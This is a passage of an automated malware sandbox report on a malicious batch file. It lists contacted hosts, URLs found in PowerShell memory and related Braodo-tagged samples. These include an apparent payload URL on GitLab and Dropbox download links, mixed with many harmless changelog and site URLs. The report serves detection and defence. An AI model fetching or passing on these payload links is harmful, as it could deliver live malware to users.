https://importlib-resources.readthedocs.io/en/latest/history.html#v5-12-0	0%	Avira URL Cloud	safe
https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=242274	0%	Avira URL Cloud	safe
https://python.visualstudio.com/cpython	0%	Avira URL Cloud	safe
https://sphinxext-opengraph.readthedocs.io/	0%	Avira URL Cloud	safe
https://www.cnri.reston.va.us)	0%	Avira URL Cloud	safe
http://ucff3945716c8f84f47b019805a5.dl.dropboxusercontent.com	0%	Avira URL Cloud	safe
https://ucff3945716c8f84f47b019805a5.dl.dropboxusercontent.com/cd/0/get/CftzJ156MPdShYtutsNwgCjD0-C-	0%	Avira URL Cloud	safe
https://reviews.freebsd.org/D41751	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
edge-block-www-env.dropbox-dns.com	162.125.69.15	true	false	high
gitlab.com	172.65.251.78	true	false	high
www-env.dropbox-dns.com	162.125.69.18	true	false	high
ucff3945716c8f84f47b019805a5.dl.dropboxusercontent.com	unknown	unknown	false	unknown
www.dropbox.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://gitlab.com/jjjdnmaaf/aafgg/-/raw/main/fuknew412.zip	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://zipp.readthedocs.io/en/latest/history.html#v3-14-0	NEWS.txt.17.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/typing/issues/751	NEWS.txt.17.dr	false		high
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42919	NEWS.txt.17.dr	false		high
https://gitlab.com/-/sandbox/;	powershell.exe, 0000000E.00000002.3226360548.000002A6C9785000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoft	powershell.exe, 0000000C.00000002.2128875869.000002716F426000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bugzilla.redhat.com/show_bug.cgi?id=1866884	NEWS.txt.17.dr	false	Avira URL Cloud: safe	unknown
http://www.dropbox.com	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://paper.dropbox.com/cloud-docs/edit	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://snowplow.trx.gitlab.net	powershell.exe, 0000000E.00000002.3226360548.000002A6C9785000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://app.hellosign.com/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://collector.prd-278964.gl-product-analytics.com	powershell.exe, 0000000E.00000002.3226360548.000002A6C9785000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.python.org/dev/peps/pep-0007/#documentation-strings	NEWS.txt.17.dr	false		high
https://invisible-island.net/ncurses/NEWS.html#index-t20170401).	NEWS.txt.17.dr	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.docsend.com/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com/python-devs/importlib_metadata/blob/0.21/importlib_metadata/docs/changelog.rst	NEWS.txt.17.dr	false		high
https://nuget.org/nuget.exe	powershell.exe, 0000000C.00000002.2126305568.000002711006F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2126305568.00000271101B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.00000271019E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3272322550.000002A6D81CF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3272322550.000002A6D8311000.00000004.00000800.00020000.00000000.sdmp	false		high
http://edge-block-www-env.dropbox-dns.com	powershell.exe, 0000000C.00000002.2112651496.000002710166F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropboxstatic.com/static/	powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/python/pythondotorg/issues/945)	NEWS.txt.17.dr	false		high
https://officeapps-df.live.com	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.login.yahoo.com/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000C.00000002.2112651496.0000027100001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3226360548.000002A6C8161000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024C64D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.yahoo.com/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/playlist/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.recaptcha.net/	powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://onedrive.live.com/picker	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com	powershell.exe, 0000000C.00000002.2112651496.000002710122A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101629000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sphinxext-opengraph.readthedocs.io/	NEWS.txt.17.dr	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000E.00000002.3226360548.000002A6C8392000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3278718409.000002A6E01AA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000E.00000002.3226360548.000002A6C8392000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3278718409.000002A6E01AA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gitlab.com/python-devs/importlib_metadata/-/milestones/20	NEWS.txt.17.dr	false		high
https://go.micro	powershell.exe, 0000000C.00000002.2112651496.000002710122A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3226360548.000002A6C8D92000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024CBEC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://python.visualstudio.com/cpython	NEWS.txt.17.dr	false	Avira URL Cloud: safe	unknown
https://ogp.me/	NEWS.txt.17.dr	false		high
https://man7.org/linux/man-pages/man7/network_namespaces.7.html	NEWS.txt.17.dr	false		high
https://new-sentry.gitlab.net	powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.openssl.org/news/secadv/20230207.txt	NEWS.txt.17.dr	false		high
https://contoso.com/Icon	powershell.exe, 0000000E.00000002.3226360548.000002A6C9BDF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://importlib-metadata.readthedocs.io/en/latest/history.html#v3-7-0	NEWS.txt.17.dr	false	Avira URL Cloud: safe	unknown
https://www.apache.org/licenses/	powershell.exe, 00000011.00000002.3305718587.000002024D5EC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.python.org/psf/)	powershell.exe, 00000011.00000002.3305718587.000002024D5EC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugs.python.org/issue26903.	NEWS.txt.17.dr	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/v/s/playlist/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www-env.dropbox-dns.com	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=242274	NEWS.txt.17.dr	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000E.00000002.3226360548.000002A6C8392000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3278718409.000002A6E01AA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/pypa/setuptools/issues/100	NEWS.txt.17.dr	false		high
http://www.pythonlabs.com/logos.html	powershell.exe, 00000011.00000002.3305718587.000002024D5EC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.sandbox.google.com/document/fsip/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.python.org/psf/license/	python312.dll.17.dr	false		high
https://docs.python.org/3/	NEWS.txt.17.dr	false		high
https://help.dropbox.com/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/fsip/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ucff3945716c8f84f47b019805a5.dl.dropboxusercontent.com	powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://canny.io/sdk.js	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com/admin/	powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/campaign_information_for_partners_v5.docx?rlkey	powershell.exe, 0000000C.00000002.2131563047.00000271714C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com/-/speedscope/index.html	powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://selfguidedlearning.dropboxbusiness.com/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/MagicStack/uvloop/tree/v0.16.0	NEWS.txt.17.dr	false		high
https://docs.sandbox.google.com/presentation/fsip/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.python.org/psf/license/)	python312.dll.17.dr	false		high
https://dl-web.dropbox.com/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://app.hellofax.com/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/	powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://gitlab.com	powershell.exe, 0000000E.00000002.3226360548.000002A6C9785000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/service_worker.js	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://paper.dropbox.com/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.hellofax.com/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://importlib-resources.readthedocs.io/en/latest/history.html#v5-12-0	NEWS.txt.17.dr	false	Avira URL Cloud: safe	unknown
https://pal-test.adyen.com	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.cnri.reston.va.us)	powershell.exe, 00000011.00000002.3305718587.000002024D5EC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.python.org/	powershell.exe, 00000011.00000002.3305718587.000002024DB47000.00000004.00000800.00020000.00000000.sdmp, NEWS.txt.17.dr	false		high
https://contoso.com/License	powershell.exe, 0000000E.00000002.3226360548.000002A6C9BDF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.hellosign.com/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ucff3945716c8f84f47b019805a5.dl.dropboxusercontent.com	powershell.exe, 0000000C.00000002.2112651496.000002710166F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://instructorledlearning.dropboxbusiness.com/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ucff3945716c8f84f47b019805a5.dl.dropboxusercontent.com/cd/0/get/CftzJ156MPdShYtutsNwgCjD0-C-	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/page_success/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com	powershell.exe, 0000000E.00000002.3226360548.000002A6C977F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3226360548.000002A6C8D92000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/pithos/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sales.dropboxbusiness.com/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.dropbox.com/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://a.sprig.com/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/encrypted_folder_download/service_worker.js	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.openssl.org/docs/man1.1.1/man7/proxy-certificates.html.	NEWS.txt.17.dr	false		high
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-40217	NEWS.txt.17.dr	false		high
https://gitlab.com/assets/	powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reviews.freebsd.org/D41751	NEWS.txt.17.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/pyperformance	NEWS.txt.17.dr	false		high
https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_env	powershell.exe, 0000000E.00000002.3226360548.000002A6C9785000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://navi.dropbox.jp/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000000E.00000002.3226360548.000002A6C9BDF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/static/api/	powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://wiki.python.org/moin/GuiProgramming	NEWS.txt.17.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.65.251.78	gitlab.com	United States		13335	CLOUDFLARENETUS	false
162.125.69.18	www-env.dropbox-dns.com	United States		19679	DROPBOXUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570140
Start date and time:	2024-12-06 15:50:45 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	kjhsdg.bat
Detection:	MAL
Classification:	mal92.troj.evad.winBAT@28/36@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 30 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .bat

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 1436 because it is empty
Execution Graph export aborted for target powershell.exe, PID 1848 because it is empty
Execution Graph export aborted for target powershell.exe, PID 4980 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: kjhsdg.bat

Simulations

Behavior and APIs

Time	Type	Description
09:51:39	API Interceptor	100x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.65.251.78	build_setup.exe	Get hash	malicious	Vidar	Browse	gitlab.com/greg201/ppi3/-/raw/main/Setup.exe?inline=false
162.125.69.18	kjsdhfgs.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	7p5nITtglJ.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	kjshdkfgjsdg.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	https://docsend.com/view/nw5cttresp36nsvc	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/l/AADbLOqftgPkdsTWgBgFyNpmu-iGeYJGM4I	Get hash	malicious	Unknown	Browse
	kjsdhfjk30De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	kjsdf30de28.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	kjsdhf243kj2.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	mksdjfjkde02.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	hnsikadfj02.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gitlab.com	kjsdhfgs.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	7p5nITtglJ.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	kjshdkfgjsdg.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	II.f_Campaign Information for Partners(27Nov).docx.lnk	Get hash	malicious	Unknown	Browse	172.65.251.78
	hnskldjf230.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	kjsdhfjk30De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	kjsdf30de28.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	kjsdhf243kj2.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	kjsdfhsdHndf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	hkjsdhf01.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
www-env.dropbox-dns.com	kjsdhfgs.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	7p5nITtglJ.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	kjshdkfgjsdg.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	QD40FIJ8QK.lnk	Get hash	malicious	Unknown	Browse	162.125.65.18
	https://docsend.com/view/nw5cttresp36nsvc	Get hash	malicious	Unknown	Browse	162.125.69.18
	https://www.dropbox.com/l/AADbLOqftgPkdsTWgBgFyNpmu-iGeYJGM4I	Get hash	malicious	Unknown	Browse	162.125.69.18
	https://t.ly/HThl-Link1-0312	Get hash	malicious	Unknown	Browse	162.125.65.18
	hnskldjf230.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.65.18
	kjsdhfjk30De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	kjsdf30de28.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
edge-block-www-env.dropbox-dns.com	kjsdhfgs.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	7p5nITtglJ.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.65.15
	https://www.dropbox.com/l/AADbLOqftgPkdsTWgBgFyNpmu-iGeYJGM4I	Get hash	malicious	Unknown	Browse	162.125.69.15
	https://t.ly/HThl-Link1-0312	Get hash	malicious	Unknown	Browse	162.125.69.15
	hnskldjf230.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	kjsdhfjk30De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	kjsdhf243kj2.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	kjsdfhsdHndf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	hkjsdhf01.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.65.15
	kjshdfj_ksdf02.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
